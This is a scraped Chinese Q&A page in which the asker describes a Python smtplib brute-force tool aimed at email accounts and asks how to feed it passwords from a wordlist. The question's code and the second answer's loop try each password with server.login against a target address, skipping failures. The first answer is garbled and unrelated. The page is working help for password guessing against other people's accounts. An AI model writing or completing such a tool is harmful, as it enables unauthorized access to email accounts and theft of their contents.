如何解决如何在python中将特定行作为暴力破解工具的输入
我使用 smtplib 模块为顶级邮件服务创建了一个暴力破解工具,但我遇到了一个问题。问题是如何将文本文件作为输入。
我希望该工具应该从 wordlist 的第一行获取密码并尝试它,然后它会移动到下一个密码并尝试它。
我尝试的是:-
def wordlist():
global file
file = open('file.txt')
global max_line
max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
global line
line = file.readlines()
global line_no
line_no = 0
main()
def main():
line_no+=1
while max_line!=line_no:
server.login('target@email.com',line[count])
line_no+=1
if __name__ == "__main__":
wordlist()
简单来说,我想创建一个循环,在该循环中该工具应该从 wordlist 中获取第一个密码并尝试它,然后移动到下一个。
解决方法
像这样:
for password in passwords:
mail="From:example@example.com To:example@example.com Password:%s Text:wbdshgfbd" %(password)
,
您可以使用 split("\n") 分隔密码然后使用列表
,passwords=passwordsText.split("\n")
for i in passwords:
try:
server.login('target@email.com',str(i))
except Exception:
continue
也许是这样。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。